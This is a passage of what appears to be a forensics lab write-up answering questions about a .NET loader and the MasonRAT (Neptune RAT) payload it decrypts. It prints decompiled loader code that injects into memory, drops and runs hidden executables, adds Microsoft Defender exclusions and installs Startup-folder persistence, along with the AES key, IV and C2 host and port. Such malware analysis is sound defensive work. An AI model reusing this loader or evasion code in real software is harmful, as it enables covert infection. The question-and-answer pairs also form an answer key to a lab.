      Marshal.Copy(source, 0, procAddress, source.Length);
      ymhpfvjydiynirikxkjbhjxgo.VirtualProtect(procAddress, (UIntPtr) (ulong) source.Length, lpflOldProtect, out lpflOldProtect);
      string name1 = "xxxxxxxxxxxxxxxxxxxxxxxxxxxx.exe";
      foreach (string manifestResourceName in Assembly.GetExecutingAssembly().GetManifestResourceNames())
      {
        string name = manifestResourceName;
        if (!(name == name1) && !string.IsNullOrWhiteSpace(name))
        {
          if (!name.EndsWith(".exe"))
          {
            if (!name.EndsWith(".bat"))
              continue;
          }
          try
          {
            File.WriteAllBytes(name, ymhpfvjydiynirikxkjbhjxgo.vrqddcyydhiirynxuyehnfyxf(name));
            File.SetAttributes(name, FileAttributes.Hidden | FileAttributes.System);
            new Thread((ThreadStart) (() =>
            {
              Process.Start(name).WaitForExit();
              File.SetAttributes(name, FileAttributes.Normal);
              File.Delete(name);
            })).Start();
          }
          catch
          {
          }
        }
      }
      byte[] rawAssembly = ymhpfvjydiynirikxkjbhjxgo.crsfrooabjsbguiyqspwoxwjl(ymhpfvjydiynirikxkjbhjxgo.wchsjzawpcmvznzpmsgdltejp(ymhpfvjydiynirikxkjbhjxgo.vrqddcyydhiirynxuyehnfyxf(name1), Convert.FromBase64String("ALWIGeOnxudniHR2K4CNZmnaEZffXt6zKsRFoAM2/mA="), Convert.FromBase64String("JXYbOTuuz3cErOl30kAKhw==")));
      string[] strArray1 = new string[0];
      try
      {
        string[] strArray2;
        if (args.Length <= 0)
          strArray2 = new string[0];
        else
          strArray2 = args[0].Split(' ');
        strArray1 = strArray2;
      }
      catch
      {
      }
      MethodInfo entryPoint = Assembly.Load(rawAssembly).EntryPoint;
      try
      {
        entryPoint.Invoke((object) null, new object[1]
        {
          (object) strArray1
        });
      }
      catch
      {
        entryPoint.Invoke((object) null, (object[]) null);
      }
    }
 
    private static bool isstartup_function_name(string path)
    {
      return path.Contains(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData));
    }
 
    private static void installstartup_function_name(string batPath)
    {
      try
      {
        string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.Startup);
        if (!Directory.Exists(folderPath))
          Directory.CreateDirectory(folderPath);
        string path2 = string.Format("{0}.bat", (object) Guid.NewGuid().ToString().Substring(0, 4));
        string str = Path.Combine(folderPath, path2);
        if (string.Equals(Path.GetFullPath(batPath), Path.GetFullPath(str), StringComparison.OrdinalIgnoreCase))
          return;
        File.Copy(batPath, str, true);
        Console.WriteLine("  Location: " + str);
      }
      catch (Exception ex)
      {
        Console.WriteLine("  " + ex.Message);
      }
    }
 
    private static bool isadmin_function_name()
    {
      return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator);
    }
 
    private static void killnonelevatedbatinstances_function_name(string batPath)
    {
      try
      {
        foreach (ManagementBaseObject managementBaseObject in new ManagementObjectSearcher("SELECT ProcessId, CommandLine FROM Win32_Process WHERE CommandLine LIKE '%" + batPath.Replace("\\", "\\\\") + "%'").Get())
        {
          uint processId = (uint) managementBaseObject["ProcessId"];
          try
          {
            Process.GetProcessById((int) processId).Kill();
            Console.WriteLine("Closing: " + (object) processId);
          }
          catch
          {
          }
        }
      }
      catch (Exception ex)
      {
        Console.WriteLine("Error with: " + ex.Message);
      }
    }
 
    public static void AddDefenderExclusionWMI(string path)
    {
      ManagementScope scope = new ManagementScope("\\\\.\\root\\Microsoft\\Windows\\Defender");
      scope.Connect();
      ManagementClass managementClass = new ManagementClass(scope, new ManagementPath("MSFT_MpPreference"), (ObjectGetOptions) null);
      ManagementBaseObject methodParameters = managementClass.GetMethodParameters("Add");
      methodParameters["ExclusionPath"] = (object) new string[1]
      {
        path
      };
      managementClass.InvokeMethod("Add", methodParameters, (InvokeMethodOptions) null);
    }
 
    private static byte[] wchsjzawpcmvznzpmsgdltejp(byte[] input, byte[] key, byte[] iv)
    {
      using (AesManaged aesManaged = new AesManaged())
      {
        aesManaged.Mode = CipherMode.CBC;
        aesManaged.Padding = PaddingMode.PKCS7;
        return aesManaged.CreateDecryptor(key, iv).TransformFinalBlock(input, 0, input.Length);
      }
    }
 
    private static byte[] crsfrooabjsbguiyqspwoxwjl(byte[] bytes)
    {
      using (MemoryStream memoryStream = new MemoryStream(bytes))
      {
        using (MemoryStream destination = new MemoryStream())
        {
          using (GZipStream gzipStream = new GZipStream((Stream) memoryStream, CompressionMode.Decompress))
            gzipStream.CopyTo((Stream) destination);
          return destination.ToArray();
        }
      }
    }
 
    private static byte[] vrqddcyydhiirynxuyehnfyxf(string name)
    {
      Assembly executingAssembly = Assembly.GetExecutingAssembly();
      using (MemoryStream destination = new MemoryStream())
      {
        using (Stream manifestResourceStream = executingAssembly.GetManifestResourceStream(name))
          manifestResourceStream.CopyTo((Stream) destination);
        return destination.ToArray();
      }
    }
  }
}

xxxxxxxxxxxxxxxxxxxxxxxxxxxx.exe

Question 7

What encryption key and initialization vector (IV) were used to decrypt the file prior to memory injection?

ALWIGeOnxudniHR2K4CNZmnaEZffXt6zKsRFoAM2/mA=,JXYbOTuuz3cErOl30kAKhw==

Question 8

What is the SHA-1 hash of that file after decryption?

First I save the file from the resources and then decrypt the blob, decompress it and then calculate the SHA1 hash.

052c0687f023564a3c31fb652bea3405341272cb

Question 9

There are 3 user agent strings in that PE File, what is the one related to the Mobile Device?

Since the new binary is also based on dotnet, I can load it into dotPeek too. It identifies itself as MasonRAT and is using regular words as classes and functions.

Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1

Question 10

What variable stores the mutex object created by this binary?

Also in the same disassembly I find references to new Mutex(). The results are saved into Louisiana.Territories.

Concentrate.cs
public static bool Therapeutic()
{
    bool createdNew;
    Louisiana.Territories = new Mutex(false, Louisiana.Destinations, out createdNew);
    return createdNew;
}

Territories

Question 11

What is the ip address and port number that C2 file connects to during that time?

Within Louisiana.cs I do find some configuration. There’s a domain name apostlejob3.duckdns.org and what looks like a port (2468). Just by looking up the IP for the name (still) returns 107.172.232.84 and is consistent with the analysis on VT.

Louisiana.cs
namespace MasonRAT
{
  public class Louisiana
  {
    public static string Syndication = "apostlejob3.duckdns.org";
    public static string Traveller = "2468";
    public static string Transport = "MasonRAT";
    public static string Absorption = "MasonGroup";
    public static string Eligibility;
    public static string Recordings = "MasonUSB.exe";
    public static readonly string Destinations = "qziZscwy2GgmPKEf";
    public static Mutex Territories;
    public static bool Expression;
    public static string Campaigns = Process.GetCurrentProcess().MainModule.FileName;
 
    public static string Longitude() => "Submitting";

107.172.232.84:2468

Question 12

A persistence file was dropped to maintain access for the attacker. What is the full path of this file?

Apparently MasonRAT is also known as Neptune RAT. There are several threat-intelligence sources that specify the Startup folder as a persistence mechanism1. A .bat file gets stored by the malware there and it’s still present in the disk image.

C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\5c74.bat

Footnotes

  1. 2025-06-11-IOCs-for-Neptune-RAT-version-5.3.txt ↩